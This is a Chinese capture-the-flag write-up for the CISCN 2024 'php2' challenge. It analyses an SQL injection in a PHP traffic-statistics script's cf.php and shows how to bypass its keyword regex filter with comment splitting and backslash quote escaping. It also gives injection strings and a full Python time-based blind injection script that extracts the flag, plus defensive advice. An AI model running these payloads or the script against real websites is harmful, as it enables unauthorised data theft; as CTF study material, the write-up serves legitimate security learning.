CISCN 2024 华东北赛区php2正解
字数 989 2025-08-24 20:49:22
CISCN 2024 华东北赛区php2漏洞分析与利用
漏洞概述
这是一个基于PHP的网站流量统计系统存在的SQL注入漏洞,位于cf.php文件中。漏洞允许攻击者通过精心构造的请求参数实现时间盲注,最终获取数据库中的敏感信息。
漏洞分析
漏洞位置
漏洞位于cf.php文件的191行,存在不安全SQL语句拼接:
$sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";
可控参数
以下参数可由攻击者控制:
$username- 通过$_GET["username"]传入$ly- 通过$_GET["ly"]传入$currweb- 通过$_GET["currweb"]传入$webtitle- 通过$_GET["webtitle"]传入
过滤机制分析
所有参数都经过chkstr()函数过滤:
function chkstr($paravalue,$paratype) {
if($paratype==1) {
$filterstr="(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if (preg_match("/".$filterstr."/is",$paravalue)==1){
echo "传递的参数类型有错误!";
exit;
}
$inputstr=str_replace("'","''",$paravalue);
}
// ... 其他类型检查
return $inputstr;
}
关键点:
- 使用正则表达式过滤常见SQL注入关键词
- 将单引号替换为两个单引号
- 对于
$ly、$currweb和$webtitle还使用了htmlspecialchars和urldecode处理
绕过限制的技巧
- 正则绕过:使用注释
/*...*/分割SQL关键词,如select/*...*/flag/*...*/from - 引号逃逸:利用
ly参数的\转义后续的单引号 - 十六进制编码:使用
0x表示法绕过htmlspecialchars对单引号的过滤
漏洞利用步骤
前置条件
- 需要一个
userstate不为0的有效用户名(如mytest) - 需要设置
firstshow=1和action=countget_2
注入构造
利用ly和webtitle参数构造注入:
ly=\&webtitle=,(select flag/*&currweb=*/from flag),1,1,1);#
这将生成如下SQL语句:
insert into cfstat_visit_last (...) values(...,'mytest','ly=\',webtitle=',(select/*...*/flag/*...*/from flag),1,1,1,1,1,1,1,1);#...)
时间盲注实现
由于没有直接回显,需要使用时间盲注技术:
import requests
import time
url = "http://target/cf.php"
params = {
"username": "mytest",
"firstshow": "1",
"action": "countget_2",
"ly": "\\",
"webtitle": f",if(ascii(substr((select flag from flag),{position},1))={char},sleep(5),1),1,1,1,1,1,1,1,1);#"
}
防御建议
- 使用预处理语句:将SQL查询与参数分离
- 最小权限原则:数据库连接使用最低必要权限
- 输入验证:对每个参数进行严格类型和格式检查
- 输出编码:对所有输出进行适当的编码
- 错误处理:避免显示详细的数据库错误信息
完整利用脚本
import requests
import time
url = "http://127.0.0.1:801/php2/www/"
data = ""
data_len = -1
for num in range(1, 1000):
new_data_len = len(data)
if new_data_len == data_len:
break
else:
data_len = new_data_len
for i in range(30, 128):
payload = {
"username": "mytest",
"firstshow": "1",
"action": "countget_2",
"ly": "\\",
"webtitle": f",if(ascii(substr((select flag from flag),{num},1))={i},sleep(5),1),1,1,1,1,1,1,1,1);#"
}
time1 = time.time()
try:
r = requests.get(url + "cf.php", params=payload)
time2 = time.time()
except:
print("error")
exit()
if r.status_code == 429:
print("too fast")
time.sleep(5)
continue
if time2 - time1 > 5:
data += chr(i)
print(data)
break
print("Final data:", data[:-1])
关键点总结
- 必须使用有效的用户名(如
mytest) - 需要设置
firstshow=1触发插入逻辑 - 使用反斜杠
\逃逸单引号 - 使用注释
/*...*/分割SQL关键词绕过过滤 - 时间盲注是唯一可行的注入方式
- 每个字符的检测需要足够的时间间隔(如5秒)